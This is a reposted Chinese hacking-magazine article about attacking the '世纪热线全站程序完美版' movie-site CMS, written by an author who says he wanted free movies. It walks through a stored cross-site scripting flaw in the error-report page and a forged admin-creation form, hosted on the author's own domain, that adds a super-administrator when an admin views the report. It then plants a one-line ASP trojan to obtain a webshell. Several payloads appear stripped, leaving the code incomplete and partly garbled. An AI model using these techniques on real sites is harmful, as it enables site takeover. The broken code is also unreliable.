popphen.net.ru
  • 1 
预览模式: 普通 | 列表

跨出权限——世纪热线全站程序完美版漏洞利用

CODE:
作者:樱花浪子[I.S.T]
来源:红狼安全小组(www.wolfexp.net,www.crst.com.cn)
注:本文首发于黑客手册,.转载请注明来源

06年就这样像3389离我而去,07年就像4489在迎接着我们。不知不觉又长了一岁。06年可以说是注入淡却的一年。不过新的技术也在增长。
跨站虽然算不上新的技术。但在国外也是非常重视的。其实跨站代码如果构造好的话可以干出很多事来的。这不,在网上逛到了一个电影网站。
心想如果把这个站拿下来不就可以看免费的电影了。(动机不太好呀^_^)。发现程序用的是:"世纪热线全站程序完美版"于是去百度搜一下也没发有漏
洞。那么就自己下回来慢慢研究吧。

可以说这套程序在注入方面防范的还不错。但是跨站方面好象就没有做到家了。经过仔细的查找,终于被我找到了一点软胁。首先我们先注册
个用户。一般电影网站都提供影片报错的页面。这个也不例外。我们在首页随便点击一个影片。下面有个报告错误。点一下之后会打开一个页面。
因为这个报告错误只有管理员能看,我们在报告错误里写上" ",如图1所示。
<img src=\"http://hacklu.net/img/shiji/1.jpg\" style=\"cursor:pointer;\" onclick=\"open_img('http://hacklu.net/img/shiji/1.jpg')\" alt=\"http://hacklu.net/img/shiji/1.jpg\" width=\"733\" height=\"528\" />
点开始报告,我们再去后台的电影管理/错误报告去看一下,跨站代码被成功执行了。如图2所示。
<img src=\"http://hacklu.net/img/shiji/2.jpg\" style=\"cursor:pointer;\" onclick=\"open_img('http://hacklu.net/img/shiji/2.jpg')\" alt=\"http://hacklu.net/img/shiji/2.jpg\" width=\"736\" height=\"494\" />
既然这个能执行,我们在来构造一些特殊的
代码吧。后台有个添加管理员的,我们先来看看它的代码是怎么实现的,添加管理员的关键代码如下:


<table border=\"0\" cellspacing=\"1\" cellpadding=\"0\" width=\"396\">     <tr bgcolor=\"#0099ff\">
<td width=\"392\" height=\"25\">
<div align=\"center\">
<font size=\"2\">新增管理员</font></div>
</td>     </tr>     <tr>         <td width=\"253\" height=\"30\" style=\"color: black; border-style: none\">
<div align=\"center\">
<font size=\"2\">用 户 名 
</font>
</div>
</td>         <td width=\"138\" height=\"30\" style=\"color: black; border-style: none\"> </td>     </tr>     <tr>         <td width=\"253\" height=\"30\" style=\"color: black; border-style: none\">
<div align=\"center\">
<font size=\"2\">初始密码 
</font>
</div>
</td>         <td width=\"138\" height=\"30\" style=\"color: black; border-style: none\">
<span><font size=\"2\">数字+字母10位以上</font></span></td>     </tr>     <tr>         <td width=\"253\" height=\"30\" style=\"color: black; border-style: none\">
<div align=\"center\">
<font size=\"2\">确认密码 
</font>
</div>
</td>         <td width=\"138\" height=\"30\" style=\"color: black; border-style: none\">
<span><font size=\"2\">数字+字母10位以上</font></span></td>     </tr>     <tr>         <td width=\"253\" height=\"30\" style=\"color: black; border-style: none\">
<p align=\"center\">权限设置 <span>
</span>
====无管理权限====
====初级管理员====
====高级管理员====
====超级管理员====</p> </td>         <td width=\"138\" height=\"30\" style=\"color: black; border-style: none\"> </td>     </tr> </table>




其实这个我们只在稍稍改动一下就可以了,改好的代码如下:


<table border=\"0\" cellspacing=\"1\" cellpadding=\"0\" width=\"396\">     <tr bgcolor=\"#0099ff\">
<td width=\"392\" height=\"25\">
<div align=\"center\">
<font size=\"2\">新增管理员</font></div>
</td>     </tr>     <tr>         <td width=\"253\" height=\"30\" style=\"color: black; border-style: none\">
<div align=\"center\">
<font size=\"2\">用 户 名   '添加管理员名字
</font>
</div>
</td>         <td width=\"138\" height=\"30\" style=\"color: black; border-style: none\"> </td>     </tr>     <tr>         <td width=\"253\" height=\"30\" style=\"color: black; border-style: none\">
<div align=\"center\">
<font size=\"2\">初始密码   '添加管理员密码
</font>
</div>
</td>         <td width=\"138\" height=\"30\" style=\"color: black; border-style: none\">
<span><font size=\"2\">数字+字母10位以上</font></span></td>     </tr>     <tr>         <td width=\"253\" height=\"30\" style=\"color: black; border-style: none\">
<div align=\"center\">
<font size=\"2\">确认密码   '确认管理员密码
</font>
</div>
</td>         <td width=\"138\" height=\"30\" style=\"color: black; border-style: none\">
<span><font size=\"2\">数字+字母10位以上</font></span></td>     </tr>     <tr>         <td width=\"253\" height=\"30\" style=\"color: black; border-style: none\">
<p align=\"center\">权限设置 <span>
</span>
====无管理权限==== '设置为超级管理员,注意这里是1
====初级管理员====
====高级管理员====
====超级管理员====</p> </td>         <td width=\"138\" height=\"30\" style=\"color: black; border-style: none\"> </td>     </tr> </table>



<p> </p>
<p align=\"center\">
</p>


最重要的就是action后的路径和最后自动运行的脚本,路径大家一定要对上。把上面的代码为hacklu.htm上传到自己的空间。然后再来到错误
报告的地方写上我们的挂马代码:,www.hacklu.net是我空
间的地址。这样管理员在看错误报告的时候就会添加一个名为:hacklu119的超级管理员。如图3、图4所示。
<img src=\"http://hacklu.net/img/shiji/3.jpg\" style=\"cursor:pointer;\" onclick=\"open_img('http://hacklu.net/img/shiji/3.jpg')\" alt=\"http://hacklu.net/img/shiji/3.jpg\" width=\"645\" height=\"488\" />
<img src=\"http://hacklu.net/img/shiji/4.jpg\" style=\"cursor:pointer;\" onclick=\"open_img('http://hacklu.net/img/shiji/4.jpg')\" alt=\"http://hacklu.net/img/shiji/4.jpg\" width=\"876\" height=\"472\" />
其实我们还可以构造备份WEBSHELL什么的,只是这个后台没有备份数据库的功能。所以得到WEBSHELL有一定的困难。刚开始我在添加电影的地
方上传ASP木马。又是抓名又是改扩展名的,可惜还没有成功。后来不经意发现原来这个数据库是ASP的,那么就好办了。只接在添加电影的地方
写上我们的一句话的ASP木马,如图5所示。
<img src=\"http://hacklu.net/img/shiji/5.jpg\" style=\"cursor:pointer;\" onclick=\"open_img('http://hacklu.net/img/shiji/5.jpg')\" alt=\"http://hacklu.net/img/shiji/5.jpg\" width=\"872\" height=\"644\" />
最后添加一下我们用客户端连接http://127.0.0.1/data/jdzcn.asp如图6所示,连接成功后会生成killbase.asp文件。最后成功得到WEBSHELL。见图7。
<img src=\"http://hacklu.net/img/shiji/6.jpg\" style=\"cursor:pointer;\" onclick=\"open_img('http://hacklu.net/img/shiji/6.jpg')\" alt=\"http://hacklu.net/img/shiji/6.jpg\" width=\"938\" height=\"551\" />
<img src=\"http://hacklu.net/img/shiji/7.jpg\" style=\"cursor:pointer;\" onclick=\"open_img('http://hacklu.net/img/shiji/7.jpg')\" alt=\"http://hacklu.net/img/shiji/7.jpg\" width=\"830\" height=\"443\" />
不过如果数据库改了名字的话,那么得WEBSHELL就不容易了。最后欢迎大家到NOHACK/BBS和作者交流。本文作者ID是樱花浪子。
  • 1